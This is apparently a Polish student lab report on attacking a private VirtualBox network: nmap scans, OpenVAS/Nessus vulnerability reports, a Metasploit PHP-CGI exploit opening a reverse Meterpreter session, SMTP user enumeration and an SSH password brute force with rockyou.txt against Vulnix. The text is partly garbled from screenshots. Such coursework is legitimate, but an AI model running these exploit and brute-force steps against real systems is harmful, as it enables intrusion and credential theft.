

Zad 2

Skanowanie sieci składające się z 3 hostów - Kali, Vulnix, Metasploitable

Pierw wykonałem skanowanie ping, aby sprawdzić jakie adresy ip są aktywne w sieci

```
root@kali:~/Skrypty/PrzeszukiwanieSieci# bash ping_scan.sh
ping -c 1 $1 > /dev/null
[ $? -eq 0 ] && echo Node with IP: $1 is up.

for i in 192.168.12.[1..255]
do
is_alive_ping $i & disown
done
```

Następnie wykonałem podstawowe skanowanie : sn-NoPortScan, Syn, Tcp

```
root@kali:~/Skrypty/PrzeszukiwanieSieci
File Edit View Search Terminal Help
OS details: Linux 2.6.32
Network Distance: 0 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 255 IP addresses (5 hosts up) scanned in 81.61 seconds
root@kali:~/Skrypty/PrzeszukiwanieSieci# nmap -sn 192.168.12.1-255
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-15 13:49 EST
Nmap scan report for 192.168.12.1
Host is up (0.0014s latency).
MAC Address: 08:00:27:05:DA:80 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.12.5
Host is up (0.00054s latency).
MAC Address: 08:00:27:C0:B1:48 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.12.6
Host is up (0.00043s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.12.7
Host is up (0.00050s latency).
MAC Address: 08:00:27:0F:84:C3 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.12.8
Host is up.
Nmap done: 255 IP addresses (5 hosts up) scanned in 28.02 seconds
root@kali:~/Skrypty/PrzeszukiwanieSieci#
```

```
root@kali:~/Skrypty/PrzeszukiwanieSieci
File Edit View Search Terminal Help
root@kali:~/Skrypty/PrzeszukiwanieSieci# nmap -sS 192.168.12.1-255
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-15 08:14 EST
Nmap scan report for 192.168.12.2
Host is up (0.000094s latency).
All 1000 scanned ports on 192.168.12.2 are filtered
MAC Address: 08:00:27:39:09:73 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.12.5
Host is up (0.00030s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
MAC Address: 08:00:27:C0:B1:48 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.12.6
Host is up (0.00050s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 0A:00:27:00:00:06 (Unknown)

Nmap scan report for 192.168.12.7
Host is up (0.00015s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
```

```
root@kali:~/Skrypty/PrzeszukiwanieSieci
File Edit View Search Terminal Help
root@kali:~/Skrypty/PrzeszukiwanieSieci# nmap -sT 192.168.12.1-255
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-15 08:12 EST
Nmap scan report for 192.168.12.2
Host is up (0.00028s latency).
All 1000 scanned ports on 192.168.12.2 are filtered
MAC Address: 08:00:27:39:09:73 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.12.5
Host is up (0.0013s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
MAC Address: 08:00:27:C0:B1:48 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.12.6
Host is up (0.00080s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 0A:00:27:00:00:06 (Unknown)

Nmap scan report for 192.168.12.7
Host is up (0.0039s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
```

Później także przy użyciu nmapa spróbowałem określić systemy operacyjne hostów znajdujących się w sieci

```
root@kali: ~/Skrypty/PrzeszukiwanieSieci
File Edit View Search Terminal Help
Not shown: 999 closed ports
PORT      STATE SERVICE
111/tcp    open  rpcbind

Nmap done: 255 IP addresses (5 hosts up) scanned in 32.86 seconds
root@kali:~/Skrypty/PrzeszukiwanieSieci# nmap -sV -O 192.168.12.1-255
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-15 08:16 EST
Nmap scan report for 192.168.12.2
Host is up (0.00074s latency).
All 1000 scanned ports on 192.168.12.2 are filtered
MAC Address: 08:00:27:39:09:73 (Oracle VirtualBox virtual NIC)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Nmap scan report for 192.168.12.5
Host is up (0.00099s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 5.9p1 Debian Subuntu1 (Ubuntu Linux; protocol
2.0)
25/tcp    open  smtp         Postfix smtpd
79/tcp    open  finger        Debian fingerd
113/tcp   open  pop3         Dovecot pop3d
111/tcp   open  rpcbind      2-4 (RPC #100000)
143/tcp   open  imap         Dovecot imapd
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        Netkit rshd
514/tcp   open  shell         Netkit rshd
993/tcp   open  ssl/imap??
995/tcp   open  ssl/pop3??
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
MAC Address: 08:00:27:C0:B1:48 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
root@kali: ~/Skrypty/PrzeszukiwanieSieci
File Edit View Search Terminal Help

Nmap scan report for 192.168.12.7
Host is up (0.00091s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:0F:84:C3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Zad 3

Skanowanie podatności hostów Vulnix i Metasploitable

Vulnix

Vulnix / 192.168.12.5

[Back to Hosts](#)

Configure Audit Trail Launch Report Export

Vulnerabilities 39

Filter Search Vulnerabilities 39 Vulnerabilities

Sev	Name	Family	Count	Actions
Critical	NFS Exported Share Information Disclosure	RPC	1	
Critical	rexecd Service Detection	Service detection	1	
Critical	Unix Operating System Unsupported Version Detection	General	1	
Mixed	SSL (Multiple Issues)	Service detection	6	
High	rlogin Service Detection	Service detection	1	
Mixed	SSL (Multiple Issues)	General	52	
Medium	OpenSSL (Multiple Issues)	Misc.	10	
Mixed	IETF Md5 (Multiple Issues)	General	9	
Mixed	SSH (Multiple Issues)	Misc.	4	
Mixed	TLS (Multiple Issues)	Misc.	4	
Medium	Finger Service Remote Information Disclosure	Misc.	1	
Medium	NFS Shares World Readable	RPC	1	

Host Details

IP: 192.168.12.5
MAC: 08:00:27:C0:B1:48
OS: Linux Kernel 3.0 on Ubuntu 12.04 (precise)
Start: Today at 2:16 PM
End: Today at 2:31 PM
Elapsed: 15 minutes
KB: Download

Vulnerabilities

Critical
High
Medium
Low
Info

Greenbone Security Assistant

Logged in as Admin admin | Logout Sun Dec 15 19:53:39 2019 UTC

Dashboard Scans Assets Secinfo Configuration Extras Administration Help

Anonymous XML Done

Report: Results (45 of 127)

Vulnerability

Severity	QoD	Host	Location	Actions
10.0 (High)	80%	192.168.12.5	general/tcp	
10.0 (High)	80%	192.168.12.5	512/tcp	
7.5 (High)	80%	192.168.12.5	514/tcp	
7.5 (High)	70%	192.168.12.5	513/tcp	
5.0 (High)	70%	192.168.12.5	995/tcp	
5.0 (High)	70%	192.168.12.5	993/tcp	
5.0 (High)	70%	192.168.12.5	143/tcp	
5.0 (High)	70%	192.168.12.5	110/tcp	
5.0 (High)	70%	192.168.12.5	25/tcp	
5.0 (High)	99%	192.168.12.5	25/tcp	
5.0 (High)	99%	192.168.12.5	995/tcp	
5.0 (High)	99%	192.168.12.5	993/tcp	
5.0 (High)	99%	192.168.12.5	143/tcp	
5.0 (High)	99%	192.168.12.5	110/tcp	
5.0 (High)	99%	192.168.12.5	25/tcp	
5.0 (High)	99%	192.168.12.5	79/tcp	
5.0 (Medium)	98%	192.168.12.5	995/tcp	
5.0 (Medium)	98%	192.168.12.5	993/tcp	
5.0 (Medium)	98%	192.168.12.5	143/tcp	
5.0 (Medium)	98%	192.168.12.5	110/tcp	
5.0 (Medium)	80%	192.168.12.5	25/tcp	
4.5 (Medium)	80%	192.168.12.5	25/tcp	

1 / 45 of 127

Metasploitable

Metasploitable / 192.168.12.7

[Back to Hosts](#)

Configure Audit Trail Launch Report Export

Vulnerabilities 68		
Filter	Name	Count
<input type="checkbox"/> Sev	SSL (Multiple Issues)	Gain a shell remotely
<input type="checkbox"/> CRITICAL	Bind Shell Backdoor Detection	Backdoors
<input type="checkbox"/> CRITICAL	NFS Exported Share Information Disclosure	RPC
<input type="checkbox"/> CRITICAL	rexecd Service Detection	Service detection
<input type="checkbox"/> CRITICAL	Unix Operating System Unsupported Version Detection	General
<input type="checkbox"/> CRITICAL	VNC Server password Password	Gain a shell remotely
<input type="checkbox"/> MIXED	SSL (Multiple Issues)	Service detection
<input type="checkbox"/> MIXED	Web Server (Multiple Issues)	Web Servers
<input type="checkbox"/> HIGH	rlogin Service Detection	Service detection
<input type="checkbox"/> MIXED	SSL (Multiple Issues)	General
<input type="checkbox"/> MIXED	HTTP (Multiple Issues)	Web Servers
<input type="checkbox"/> MIXED	SSH (Multiple Issues)	Misc.

Host Details

IP: 192.168.12.7
 MAC: 08:00:27:0F:84:C3
 OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)
 Start: Today at 2:16 PM
 End: Today at 2:27 PM
 Elapsed: 10 minutes
 KB: Download

Vulnerabilities



Critical	High	Medium	Low	Info
----------	------	--------	-----	------

Report: Results (52 of 389)						
Vulnerability	Severity	OnD	Host	Location	Actions	
TWiki XSS and Command Execution Vulnerabilities	10.0 (High)	80%	192.168.12.7	80/tcp		
OS End of Life Detection	10.0 (High)	80%	192.168.12.7	general/tcp		
rexecd Passwordless / Unencrypted Cleartext Login	10.0 (High)	80%	192.168.12.7	512/tcp		
Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability	10.0 (High)	95%	192.168.12.7	1099/tcp		
Distributed Ruby (druby/DRb) Multiple Remote Code Execution Vulnerabilities	10.0 (High)	99%	192.168.12.7	8787/tcp		
Possible Backdoor: Ingreslock	10.0 (High)	99%	192.168.12.7	1524/tcp		
DistCC Remote Code Execution Vulnerability	9.5 (High)	99%	192.168.12.7	3632/tcp		
VNC Brute Force Login	9.0 (High)	95%	192.168.12.7	5900/tcp		
PostgreSQL weak password	9.0 (High)	99%	192.168.12.7	5432/tcp		
MySQL / MariaDB weak password	19.2.168.12.7	99%	192.168.12.7	3306/tcp		
rsh Unencrypted Cleartext Login	9.0 (High)	95%	192.168.12.7	514/tcp		
phpinfo() output Reporting	7.5 (High)	80%	192.168.12.7	80/tcp		
rlogin Passwordless / Unencrypted Cleartext Login	7.5 (High)	70%	192.168.12.7	513/tcp		
Test HTTP dangerous methods	7.5 (High)	99%	192.168.12.7	80/tcp		
PHP-CGI-based setups vulnerability when parsing query string parameters from php files.	7.5 (High)	95%	192.168.12.7	80/tcp		
vsftpd Compromised Source Packages Backdoor Vulnerability	7.5 (High)	99%	192.168.12.7	6200/tcp		
vsftpd Compromised Source Packages Backdoor Vulnerability	7.5 (High)	99%	192.168.12.7	21/tcp		
SSH Brute Force Logins With Default Credentials Reporting	7.5 (High)	95%	192.168.12.7	22/tcp		
TWiki Cross-Site Request Forgery Vulnerability - Sep10	4.8 (Medium)	80%	192.168.12.7	80/tcp		
Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection Vulnerability	4.8 (Medium)	99%	192.168.12.7	25/tcp		
Anonymous FTP Login Reporting	4.8 (Medium)	80%	192.168.12.7	21/tcp		
TWiki Cross-Site Request Forgery Vulnerability	4.0 (Medium)	80%	192.168.12.7	80/tcp		

Zad 4

Użycie narzędzia metasploit

Wykorzystując podatność wykazaną podczas skanowania hosta Metasploitable przy użyciu narzędzie OpenVas, wstrzyknąłem payload z meterpreterem

Greenbone Security Assistant - Mozilla Firefox

Scans Assets SecInfo Configuration Extras Administration Help

Test HTTP dangerous methods

PHP-CGI-based setups

vftpd Compromised Source Packages Backdoor Vulnerability vstpd

Greenbone Security Assistant - Mozilla Firefox

Nightly Installers - rapid7.com

Greenbone Security Assistant - Mozilla Firefox

Scans Assets SecInfo Configuration Extras Administration Help

Version used: 2019-11-08T10:10:55+0000

References

CVE: CVE-2012-1822 CVE-2012-2311 CVE-2012-2336 CVE-2012-2335

BID: 53388

CERT: DFN-CERT-2013-1494, DFN-CERT-2012-1316, DFN-CERT-2012-1276, DFN-CERT-2012-1268, DFN-CERT-2012-1267, DFN-CERT-2012-1266, DFN-CERT-2012-1173, DFN-CERT-2012-1101, DFN-CERT-2012-0994, DFN-CERT-2012-0993, DFN-CERT-2012-0992, DFN-CERT-2012-0991, DFN-CERT-2012-0995, DFN-CERT-2012-0994, DFN-CERT-2012-0913, DFN-CERT-2012-0907, DFN-CERT-2012-0906, DFN-CERT-2012-0905, DFN-CERT-2012-0902, DFN-CERT-2012-0901

Other: <http://www.pcworld.com/article/214047/critical-open-hole-in-php-creates-risks.html>

https://www.kali.org/doc/metasploit-framework/tutorials/exploit/cve-2012-1823

```

root@kali:~# msf5 search cve-2012-1823
[+] metasploit v5.0.65-dev
[+] 1958 exploits - 1092 auxiliary - 336 post
[+] 558 payloads - 45 encoders - 10 nops
[+] 7 evasion

msf5 > search cve-2012-1823
[+] Matching Modules
[+] # Name Disclosure Date Rank Check Description
[+] 0 exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent Yes PHP CGI Argument Injection

msf5 > use exploit/multi/http/php_cgi_arg_injection
msf5 exploit(multi/http/php_cgi_arg_injection) > set payload
set payload generic/custom
set payload generic/shell_bind_tcp
set payload generic/reverse_kcp
set payload multi/meterpreter/reverse_http
set payload multi/meterpreter/reverse_https
set payload php/bind_perl
set payload php/bind_perl_ipv6
set payload php/bind_php
set payload php/bind_php_ipv6
set payload php/download_exec
set payload php/reverse_php

msf5 exploit(multi/http/php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp

msf5 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):
Name Current Setting Required Description
---- -----
PROXIES false yes Exploit Plesk
RHOSTS no A proxy chain of format type:host:port[,type:host:port][...]
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI no The URL to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URL URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host

References
CVE: CVE-2012-1822 CVE-2012-2311 CVE-2012-2336 CVE-2012-2335
BID: 53388
CERT: DFN-CERT-2013-1494, DFN-CERT-2012-1316, DFN-CERT-2012-1276, DFN-CERT-2012-1268, DFN-CERT-2012-1267, DFN-CERT-2012-1266, DFN-CERT-2012-1173, DFN-CERT-2012-1101, DFN-CERT-2012-0994, DFN-CERT-2012-0993, DFN-CERT-2012-0992, DFN-CERT-2012-0991, DFN-CERT-2012-0995, DFN-CERT-2012-0994, DFN-CERT-2012-0913, DFN-CERT-2012-0907, DFN-CERT-2012-0906, DFN-CERT-2012-0905, DFN-CERT-2012-0902, DFN-CERT-2012-0901
Other: http://www.pcworld.com/article/214047/critical-open-hole-in-php-creates-risks.html
https://www.kali.org/doc/metasploit-framework/tutorials/exploit/cve-2012-1823

```

Greenbone Security Assistant - Mozilla Firefox

Scans Assets SecInfo Configuration Extras Administration Help

Test HTTP dangerous methods

PHP-CGI-based setups

vftpd Compromised Source Packages Backdoor Vulnerability vstpd

Greenbone Security Assistant - Mozilla Firefox

Nightly Installers - rapid7.com

Greenbone Security Assistant - Mozilla Firefox

Scans Assets SecInfo Configuration Extras Administration Help

Version used: 2019-11-08T10:10:55+0000

References

CVE: CVE-2012-1822 CVE-2012-2311 CVE-2012-2336 CVE-2012-2335

BID: 53388

CERT: DFN-CERT-2013-1494, DFN-CERT-2012-1316, DFN-CERT-2012-1276, DFN-CERT-2012-1268, DFN-CERT-2012-1267, DFN-CERT-2012-1266, DFN-CERT-2012-1173, DFN-CERT-2012-1101, DFN-CERT-2012-0994, DFN-CERT-2012-0993, DFN-CERT-2012-0992, DFN-CERT-2012-0991, DFN-CERT-2012-0995, DFN-CERT-2012-0994, DFN-CERT-2012-0913, DFN-CERT-2012-0907, DFN-CERT-2012-0906, DFN-CERT-2012-0905, DFN-CERT-2012-0902, DFN-CERT-2012-0901

Other: <http://www.pcworld.com/article/214047/critical-open-hole-in-php-creates-risks.html>

https://www.kali.org/doc/metasploit-framework/tutorials/exploit/cve-2012-1823

```

root@kali:~# msf5 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):
Name Current Setting Required Description
---- -----
PROXIES false yes Exploit Plesk
RHOSTS no A proxy chain of format type:host:port[,type:host:port][...]
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI no The URL to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URL URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- -----
LHOST 192.168.12.8 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
-- --
0 Automatic

msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.12.8
LHOST => 192.168.12.8
msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.12.7
RHOSTS => 192.168.12.7
msf5 exploit(multi/http/php_cgi_arg_injection) > exploit
[*] Started reverse TCP handler on 192.168.12.8:4444
[*] Sending stage (38288 bytes) to 192.168.12.7
[*] Meterpreter session 1 opened (192.168.12.8:4444 -> 192.168.12.7:45358) at 2019-12-19 17:20:11 -0500

meterpreter > sinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686
Meterpreter : php/linux


```

Terminal

File Edit View Search Terminal Help

```
localtime      Displays the target system's local date and time
pgrep          Filter processes by name
pkill          Terminate processes by name
ps             List running processes
shell          Drop into a system command shell
sysinfo        Gets information about the remote system, such as OS
```

Stdapi: Audio Output Commands

```
=====
Command      Description
-----
play         play an audio file on target system, nothing written on disk
```

meterpreter > cd ..
meterpreter > cd ..
meterpreter > ls home
Listing: home

```
=====
Mode          Size  Type  Last modified          Name
----          ----  ---   -----              -----
40755/rwxr-xr-x 4096  dir   2010-03-17 10:08:02 -0400  ftp
40755/rwxr-xr-x 4096  dir   2019-11-29 06:58:56 -0500  msfadmin
40755/rwxr-xr-x 4096  dir   2010-04-16 02:16:02 -0400  service
40755/rwxr-xr-x 4096  dir   2010-05-07 14:38:06 -0400  user
```

meterpreter > cd home/msfadmin
meterpreter > ls
Listing: /home/msfadmin

```
=====
Mode          Size  Type  Last modified          Name
----          ----  ---   -----              -----
20666/rw-rw-rw-  0    cha   2010-03-16 19:01:07 -0400  .bash_history
40755/rwxr-xr-x 4096  dir   2010-04-17 14:11:00 -0400  .distcc
100600/rw----- 4174   fil   2012-05-14 02:01:49 -0400  .mysql_history
100644/rw-r--r-- 586    fil   2010-03-16 19:12:59 -0400  .profile
100700/rwx----- 4     fil   2012-05-20 14:22:32 -0400  .rhosts
40700/rwx----- 4096   dir   2010-05-17 21:43:18 -0400  .ssh
100644/rw-r--r-- 0     fil   2010-05-07 14:38:35 -0400  .sudo_as_admin_successful
100745/rwxr--r-x 85     fil   2019-11-29 06:58:46 -0500  skrypt1.sh
100744/rwxr--r-- 139   fil   2019-11-29 06:58:56 -0500  skrypt2.sh
40755/rwxr-xr-x 4096   dir   2010-04-27 23:44:17 -0400  vulnerable
```

meterpreter > █

Wylistowanie użytkowników SMTP hosta vulnix

```
root@kali: ~
File Edit View Search Terminal Tabs Help
root@kali: ~          root@kali: ~
[*] msf5 > use auxiliary/scanner/smtp/smtp_enum
[*] msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.12.7
[*] RHOSTS => 192.168.12.7
[*] msf5 auxiliary(scanner/smtp/smtp_enum) > set LHOST 192.168.12.8
[*] LHOST => 192.168.12.8
[*] msf5 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 192.168.12.7:25      - 192.168.12.7:25 Banner: 220 metasploitable.localdomain ESM
[*] TP Postfix (Ubuntu)
[*] ^C[*] 192.168.12.7:25      - Caught interrupt from the console...
[*] Auxiliary module execution completed
[*] msf5 auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.12.7:25      - 192.168.12.7:25 Banner: 220 metasploitable.localdomain ESM
[*] TP Postfix (Ubuntu)
[*] ls
[*] 192.168.12.7:25      - 192.168.12.7:25 Users found: , backup, bin, daemon, distcc
[*] d, ftp, games, gnats, irc, libuuid, list, lp, mail, man, news, nobody, postgres, postm
[*] aster, proxy, service, sshd, sync, sys, syslog, user, uucp, www-data
[*] 192.168.12.7:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
root@kali: ~
File Edit View Search Terminal Help
Listing: /home/msfadmin
=====
Mode           Size  Type  Last modified        Name
----           ---   ---   -----              -----
20666/rw-rw-rw-  0    cha   2010-03-16 19:01:07 -0400 .bash_history
40755/rwxr-xr-x  4096 dir    2010-04-17 14:11:00 -0400 .distcc
100600/rw-----  4174 fil    2012-05-14 02:01:49 -0400 .mysql_history
100644/rw-r--r--  586   fil    2010-03-16 19:12:59 -0400 .profile
100700/rwx----- 4     fil    2012-05-20 14:22:32 -0400 .rhosts
40700/rwx-----  4096  dir    2010-05-17 21:43:18 -0400 .ssh
100644/rw-r--r--  0    fil    2010-05-07 14:38:35 -0400 .sudo_as_admin_successful
100745/rwxr--r-x  85    fil    2019-11-29 06:58:46 -0500 skrypt1.sh
100744/rwxr--r--  139   fil    2019-11-29 06:58:56 -0500 skrypt2.sh
40755/rwrxr-xr-x  4096  dir    2010-04-27 23:44:17 -0400 vulnerable

meterpreter >
[*] 192.168.12.7 - Meterpreter session 5 closed. Reason: Died
```

Hasło dla użytkownika user Vulnix

```
Terminal
File Edit View Search Terminal Help
[ metasploit v5.0.65-dev ]
+ --=[ 1955 exploits - 1092 auxiliary - 336 post      ]
+ --=[ 558 payloads - 45 encoders - 10 nops          ]
+ --=[ 7 evasion                                         ]

msf5 > search ssh_login
Matching Modules
=====
#  Name
-  -----
0  auxiliary/scanner/ssh/ssh_login
1  auxiliary/scanner/ssh/ssh_login_pubkey

msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/rockyou.txt
pass file => /usr/share/wordlists/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set username user
username => user
msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop on success => true
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.12.5
RHOSTS => 192.168.12.5
msf5 auxiliary(scanner/ssh/ssh_login) > set LHOST 192.168.12.8
LHOST => 192.168.12.8
msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 192.168.12.5:22 - Success: 'user:letmein' ''
[*] Command shell session 1 opened (192.168.12.8:43237 -> 192.168.12.5:22) at 2019-12-20 05:50:20 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) >
```